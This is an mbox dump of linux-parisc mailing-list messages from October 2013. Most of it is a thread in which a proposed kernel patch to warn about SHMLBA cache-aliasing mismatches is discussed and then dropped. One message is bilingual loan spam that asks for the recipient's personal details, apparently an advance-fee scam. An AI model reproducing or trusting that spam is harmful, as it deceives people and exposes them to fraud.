+	 * value of SHMLBA (4 MB) is correct for this machine.
+	 */
+	if ((4096UL << (cache_info.dc_conf.cc_alias-1)) != SHMLBA)
+		pr_warn("WARNING: PDC_CACHE returns aliasing of %lu kB.\n",
+			(4UL << (cache_info.dc_conf.cc_alias-1)));
+
 #if 0
 	printk("ic_size %lx dc_size %lx it_size %lx\n",
 		cache_info.ic_size,
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: check hardcoded value of SHMLBA against value
 reported by firmware
Date: Tue, 29 Oct 2013 17:10:36 -0400
Lines: 48
Approved: news@gmane.org
Message-ID: <BLU0-SMTP812DBA341716B80C3A40A597090@phx.gbl>
References: <20131029210544.GA18167@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383081018 29437 80.91.229.3 (29 Oct 2013 21:10:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Oct 2013 21:10:18 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 29 22:10:21 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VbGYN-0000Wo-7T
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Oct 2013 22:10:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752547Ab3J2VKS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Oct 2013 17:10:18 -0400
Original-Received: from blu0-omc4-s35.blu0.hotmail.com ([65.55.111.174]:53232 "EHLO
	blu0-omc4-s35.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751345Ab3J2VKR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Oct 2013 17:10:17 -0400
Original-Received: from BLU0-SMTP81 ([65.55.111.135]) by blu0-omc4-s35.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 29 Oct 2013 14:10:17 -0700
X-TMN: [IcAYCasoOoKADitqF8YfsYLzbMPXfBcO]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([65.94.236.11]) by BLU0-SMTP81.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 29 Oct 2013 14:10:15 -0700
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.0.1
In-Reply-To: <20131029210544.GA18167@p100.box>
X-OriginalArrivalTime: 29 Oct 2013 21:10:15.0858 (UTC) FILETIME=[43B3C120:01CED4EB]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5429
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5429>

I seem to recall the aliasing boundary value returned by my rp3440 is 
"unknown".

On 10/29/2013 5:05 PM, Helge Deller wrote:
> Our value of SHMLBA is hardcoded to 4MB on parisc due to aliasing restrictions
> of the platform. The firmware function PDC_CACHE does return the machine
> dependend value of this aliasing requirement.
> So, if there is a difference between those two - which we don't expect - let's
> report it at least.
>
> Signed-off-by: Helge Deller <deller@gmx.de>
>
> diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
> index c035673..3523e20 100644
> --- a/arch/parisc/kernel/cache.c
> +++ b/arch/parisc/kernel/cache.c
> @@ -142,6 +142,15 @@ parisc_cache_init(void)
>   	if (pdc_cache_info(&cache_info) < 0)
>   		panic("parisc_cache_init: pdc_cache_info failed");
>   
> +	/*
> +	 * The alias field returned by PDC_CACHE specifies the aliasing
> +	 * boundaries for virtual addresses.  So, let's verify if our hardcoded
> +	 * value of SHMLBA (4 MB) is correct for this machine.
> +	 */
> +	if ((4096UL << (cache_info.dc_conf.cc_alias-1)) != SHMLBA)
> +		pr_warn("WARNING: PDC_CACHE returns aliasing of %lu kB.\n",
> +			(4UL << (cache_info.dc_conf.cc_alias-1)));
> +
>   #if 0
>   	printk("ic_size %lx dc_size %lx it_size %lx\n",
>   		cache_info.ic_size,
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>
>


-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: check hardcoded value of SHMLBA against value
 reported by firmware
Date: Tue, 29 Oct 2013 22:11:29 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <52702481.9050308@gmx.de>
References: <20131029210544.GA18167@p100.box> <BLU0-SMTP812DBA341716B80C3A40A597090@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383081089 30260 80.91.229.3 (29 Oct 2013 21:11:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Oct 2013 21:11:29 +0000 (UTC)
To: John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 29 22:11:32 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VbGZY-0000Wo-D8
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Oct 2013 22:11:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751583Ab3J2VLb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Oct 2013 17:11:31 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:53003 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751345Ab3J2VLb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Oct 2013 17:11:31 -0400
Original-Received: from [192.168.178.60] ([84.173.41.184]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0Ldbqw-1W2Jrn2ajy-00inQv for
 <linux-parisc@vger.kernel.org>; Tue, 29 Oct 2013 22:11:29 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0
In-Reply-To: <BLU0-SMTP812DBA341716B80C3A40A597090@phx.gbl>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:CNgGvgNYay4FZs2iYNgdXiUAvPc6L5JBGXP2Qcb3V4mZmg3pa7Y
 1urGl+UWsJHLJ0ai8KrMmWwdmd2K16RkRGtPMBmxtItHSP/xilKy8lZHsx98gEQbef9K/A9
 Gk/nWFns9CuoPOY3YmYTc5eN+6nxMS8PoWxa9Pg+KgJYOWN3gQC1l6wPwUHum9JXAfLwQN1
 D/RwyoVDWuS+l29CPc0yA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5430
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5430>

On 10/29/2013 10:10 PM, John David Anglin wrote:
> I seem to recall the aliasing boundary value returned by my rp3440 is "unknown".

Even better, then it would be interesting to see what this patch reports on
your machine....


> 
> On 10/29/2013 5:05 PM, Helge Deller wrote:
>> Our value of SHMLBA is hardcoded to 4MB on parisc due to aliasing restrictions
>> of the platform. The firmware function PDC_CACHE does return the machine
>> dependend value of this aliasing requirement.
>> So, if there is a difference between those two - which we don't expect - let's
>> report it at least.
>>
>> Signed-off-by: Helge Deller <deller@gmx.de>
>>
>> diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
>> index c035673..3523e20 100644
>> --- a/arch/parisc/kernel/cache.c
>> +++ b/arch/parisc/kernel/cache.c
>> @@ -142,6 +142,15 @@ parisc_cache_init(void)
>>       if (pdc_cache_info(&cache_info) < 0)
>>           panic("parisc_cache_init: pdc_cache_info failed");
>>   +    /*
>> +     * The alias field returned by PDC_CACHE specifies the aliasing
>> +     * boundaries for virtual addresses.  So, let's verify if our hardcoded
>> +     * value of SHMLBA (4 MB) is correct for this machine.
>> +     */
>> +    if ((4096UL << (cache_info.dc_conf.cc_alias-1)) != SHMLBA)
>> +        pr_warn("WARNING: PDC_CACHE returns aliasing of %lu kB.\n",
>> +            (4UL << (cache_info.dc_conf.cc_alias-1)));
>> +
>>   #if 0
>>       printk("ic_size %lx dc_size %lx it_size %lx\n",
>>           cache_info.ic_size,
>> -- 
>> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
>> the body of a message to majordomo@vger.kernel.org
>> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>>
>>
> 
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: check hardcoded value of SHMLBA against value
 reported by firmware
Date: Tue, 29 Oct 2013 14:26:24 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <1383081984.2071.34.camel@dabdike.int.hansenpartnership.com>
References: <20131029210544.GA18167@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383081986 9121 80.91.229.3 (29 Oct 2013 21:26:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Oct 2013 21:26:26 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 29 22:26:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VbGo0-0006ET-CC
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Oct 2013 22:26:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751345Ab3J2V01 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Oct 2013 17:26:27 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:35626 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751307Ab3J2V01 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Oct 2013 17:26:27 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A837F8EE0CD;
	Tue, 29 Oct 2013 14:26:26 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id CcnPUQa52Wei; Tue, 29 Oct 2013 14:26:26 -0700 (PDT)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 500588EE0C9;
	Tue, 29 Oct 2013 14:26:26 -0700 (PDT)
In-Reply-To: <20131029210544.GA18167@p100.box>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5431
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5431>

On Tue, 2013-10-29 at 22:05 +0100, Helge Deller wrote:
> Our value of SHMLBA is hardcoded to 4MB on parisc due to aliasing restrictions
> of the platform. The firmware function PDC_CACHE does return the machine
> dependend value of this aliasing requirement.
> So, if there is a difference between those two - which we don't expect - let's
> report it at least.

We know that architecturally it's defined to be 16MB.  However, we also
know from the chip architects that the greatest stride ever done or
planned was 4MB, which is why we use it.  HPUX does the same, so there's
not much point issuing a warning, because it's likely that IODC isn't
setting up the values correctly and there's nothing a warning will
achieve except worrying the users if they bother to read it.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: check hardcoded value of SHMLBA against value
 reported by firmware
Date: Tue, 29 Oct 2013 22:28:29 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <5270287D.2030308@gmx.de>
References: <20131029210544.GA18167@p100.box> <1383081984.2071.34.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383082109 10287 80.91.229.3 (29 Oct 2013 21:28:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Oct 2013 21:28:29 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 29 22:28:33 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VbGq0-0006uj-R1
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Oct 2013 22:28:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751929Ab3J2V2c (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Oct 2013 17:28:32 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:53310 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751345Ab3J2V2b (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Oct 2013 17:28:31 -0400
Original-Received: from [192.168.178.60] ([84.173.41.184]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0M1WHV-1VvXk70VYH-00tQZ1 for
 <linux-parisc@vger.kernel.org>; Tue, 29 Oct 2013 22:28:30 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0
In-Reply-To: <1383081984.2071.34.camel@dabdike.int.hansenpartnership.com>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:3YB9DIbZEtOIkM5RsCCDWwRMaLWPNLqr4050G1phEC6SBVbRJIR
 ETG8kI1gLSGIZPlpCiuzfsj4sjORO9/4GMWRiYlNvX6Kr5g7zNyyHOQxT+zeOuaKPAqzF9e
 z1WSbDtHtIWv104z7SajsjiivBKDERWulFOsqIWf4Yx4wuEWF7kTOCRZfvEE+XCnaByPXFL
 AFODrXmMQr1FOcAwdnZZQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5432
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5432>

On 10/29/2013 10:26 PM, James Bottomley wrote:
> On Tue, 2013-10-29 at 22:05 +0100, Helge Deller wrote:
>> Our value of SHMLBA is hardcoded to 4MB on parisc due to aliasing restrictions
>> of the platform. The firmware function PDC_CACHE does return the machine
>> dependend value of this aliasing requirement.
>> So, if there is a difference between those two - which we don't expect - let's
>> report it at least.
> 
> We know that architecturally it's defined to be 16MB.  However, we also
> know from the chip architects that the greatest stride ever done or
> planned was 4MB, which is why we use it.  HPUX does the same, so there's
> not much point issuing a warning, because it's likely that IODC isn't
> setting up the values correctly and there's nothing a warning will
> achieve except worrying the users if they bother to read it.

Ok, thanks for this info.
I'll drop that patch.

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LOANS ENGINE <rtorrezan@uem.br>
Newsgroups: gmane.linux.ports.parisc
Subject: =?utf-8?Q?Gru=C3=9F?=
Date: Wed, 30 Oct 2013 09:11:00 -0200 (BRST)
Lines: 64
Approved: news@gmane.org
Message-ID: <30701622.4739451383131460297.JavaMail.root@Sakhir.uem.br>
Reply-To: "loansengine.11@manager.in.th" <loansengine.11@manager.in.th>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1383133993 10602 80.91.229.3 (30 Oct 2013 11:53:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 30 Oct 2013 11:53:13 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 30 12:53:17 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VbUKp-0000lE-1f
	for glpp-linux-parisc@plane.gmane.org; Wed, 30 Oct 2013 12:53:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752812Ab3J3LxM convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 30 Oct 2013 07:53:12 -0400
Original-Received: from Barcelona.uem.br ([186.233.154.14]:45698 "EHLO barcelona.uem.br"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752413Ab3J3LxJ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 30 Oct 2013 07:53:09 -0400
X-Greylist: delayed 2210 seconds by postgrey-1.27 at vger.kernel.org; Wed, 30 Oct 2013 07:53:08 EDT
Original-Received: from sakhir.uem.br (Sakhir.uem.br [186.233.154.15])
	by barcelona.uem.br (Postfix) with ESMTP id 9BDE61360EA;
	Wed, 30 Oct 2013 09:11:13 -0200 (BRST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by sakhir.uem.br (Postfix) with ESMTP id 7417E2E6C076;
	Wed, 30 Oct 2013 09:11:10 -0200 (BRST)
X-Virus-Scanned: amavisd-new at 
X-Spam-Flag: NO
X-Spam-Score: 1.067
X-Spam-Level: *
X-Spam-Status: No, score=1.067 tagged_above=-10 required=6.6
	tests=[AWL=-0.272, BAYES_50=0.001, FUZZY_CREDIT=1.238, RDNS_NONE=0.1], No
Original-Received: from sakhir.uem.br ([127.0.0.1])
	by localhost (sakhir.uem.br [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id jfno1Zoemzp5; Wed, 30 Oct 2013 09:11:09 -0200 (BRST)
Original-Received: from sakhir.uem.br (Sakhir.uem.br [186.233.154.15])
	by sakhir.uem.br (Postfix) with ESMTP id 65A682E6C069;
	Wed, 30 Oct 2013 09:11:00 -0200 (BRST)
X-Originating-IP: [199.68.218.110]
X-Mailer: Zimbra 5.0.10_GA_2638.RHEL4 (zclient/5.0.10_GA_2638.RHEL4)
X-UEM-MailScanner-Information: Please contact the ISP for more information
X-UEM-MailScanner-ID: 9BDE61360EA.AAB15
X-UEM-MailScanner: Found to be clean
X-UEM-MailScanner-SpamScore: 1
X-UEM-MailScanner-From: rtorrezan@uem.br
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5433
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5433>

Achtung,

Wir bieten gesicherte und ungesicherte pers=C3=B6nliche Darlehen und In=
vestitionen, um Ihren Bed=C3=BCrfnissen und Budget.
Personal und Investitionen Kredite zu niedrigen Zinsen von 3% und Konze=
ntrationen von bis zu 5.000 CHF / EUR und 10,000.000.00 CHF / EUR. Der =
g=C3=BCnstigste Online-Kredit in DE und CH!

Bitte f=C3=BCllen Sie die folgenden Informationen von Ihrem Kredit-Antr=
ag:

Vollst=C3=A4ndiger Name: ...
Darlehensbetrag: ...
Loan Dauer: ...
Zweck des Darlehens: ...

Eine schnelle Reaktion erforderlich ist, bitte.

_____________________________________
Ana White=20
Customer Service
Verarbeitung / Approval Einheit
20121 Milano,
E-mail: loansengine.11 @ manager.in.th
Italien

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Attention,

We offer secured and unsecured personal loans and investment to your ne=
eds and budget.
Personal and investment loans at low interest 3% and concentrations of =
up to 5,000 CHF / EUR and 10,000.000.00 CHF / EUR. The lowest online lo=
an in DE and CH!

Please fill in the following information from your credit application:

=46ull Name: ...
Loan amount: ...
Loan Duration: ...
Purpose of loan: ...

A quick response is required, please.

_____________________________________
Ana White=20
Customer service
Processing / Approval Unit
20121 Milano,
E-mail:loansengine.11@manager.in.th
Italy

--=20
Esta mensagem foi verificada pelo sistema de antivirus e
 acredita-se estar livre de perigo.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.hardware.blackfin.kernel.devel
Subject: Re: [PATCH] arch: *: remove '__init' for setup_profiling_timer()
Date: Thu, 31 Oct 2013 05:45:48 +0000
Lines: 69
Approved: news@gmane.org
Message-ID: <C2D7FE5348E1B147BCA15975FBA23075153861@IN01WEMBXA.internal.synopsys.com>
References: <52672ECD.9010800@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1383198383 29177 80.91.229.3 (31 Oct 2013 05:46:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Oct 2013 05:46:23 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"uclinux-dist-devel@blackfin.uclinux.org" 
	<uclinux-dist-devel@blackfin.uclinux.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: Chen Gang <gang.chen@asianux.com>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	Mike Frysinger <vapier@gentoo.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, "Arnd Bergmann" <arnd@arndb.de>,
	Thomas Gleixner <tglx@linutronix.de>,
	"Paul Gortmaker" <paul.gortmaker@windriver.com>,
	"Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>,
	realmz paranoid <realmz6@gmail.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 31 06:46:25 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vbl5N-00018H-0q
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Oct 2013 06:46:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751182Ab3JaFp6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Oct 2013 01:45:58 -0400
Original-Received: from hermes.synopsys.com ([198.182.44.81]:62438 "EHLO
	hermes.synopsys.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750762Ab3JaFp5 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Oct 2013 01:45:57 -0400
Original-Received: from WBSNus01mta1 (us01secmta1.synopsys.com [10.9.203.100])
	by hermes.synopsys.com (Postfix) with ESMTP id DA9998A6B;
	Wed, 30 Oct 2013 22:45:54 -0700 (PDT)
Original-Received: from us01secmta1.internal.synopsys.com (us01secmta1.internal.synopsys.com [127.0.0.1])
	by us01secmta1.internal.synopsys.com (Service) with ESMTP id CD2FB27113;
	Wed, 30 Oct 2013 22:45:54 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (mailhost1.synopsys.com [10.12.238.239])
	by us01secmta1.internal.synopsys.com (Service) with ESMTP id 6C52B27102;
	Wed, 30 Oct 2013 22:45:54 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (localhost [127.0.0.1])
	by mailhost.synopsys.com (Postfix) with ESMTP id 53C59384;
	Wed, 30 Oct 2013 22:45:54 -0700 (PDT)
Original-Received: from US01WEHTC3.internal.synopsys.com (us01wehtc3.internal.synopsys.com [10.15.84.232])
	by mailhost.synopsys.com (Postfix) with ESMTP id 8A6E336C;
	Wed, 30 Oct 2013 22:45:51 -0700 (PDT)
Original-Received: from IN01WEHTCB.internal.synopsys.com (10.144.199.105) by
 US01WEHTC3.internal.synopsys.com (10.15.84.232) with Microsoft SMTP Server
 (TLS) id 14.2.298.4; Wed, 30 Oct 2013 22:45:51 -0700
Original-Received: from IN01WEMBXA.internal.synopsys.com ([fe80::ed6f:22d3:d35:4833])
 by IN01WEHTCB.internal.synopsys.com ([::1]) with mapi id 14.02.0298.004; Thu,
 31 Oct 2013 11:15:48 +0530
Thread-Topic: [PATCH] arch: *: remove '__init' for setup_profiling_timer()
Thread-Index: AQHOz5Rzfa7H6x8+K0mEPsxJa/nqdw==
Accept-Language: en-US, en-IN
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.12.239.237]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5434 gmane.linux.kernel.cross-arch:20036 gmane.linux.kernel:1587856 gmane.linux.hardware.blackfin.kernel.devel:7416
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5434>

On 10/23/2013 07:36 AM, Chen Gang wrote:
> Most of architectures not use '__init' for setup_profiling_timer(), so
> need remove it, or can generate warning (e.g. arc with allmodconfig):
>
>     MODPOST vmlinux.o
>   WARNING: vmlinux.o(.text+0x3c682): Section mismatch in reference from the function write_profile() to the function .init.text:setup_profiling_timer()
>   The function write_profile() references
>   the function __init setup_profiling_timer().
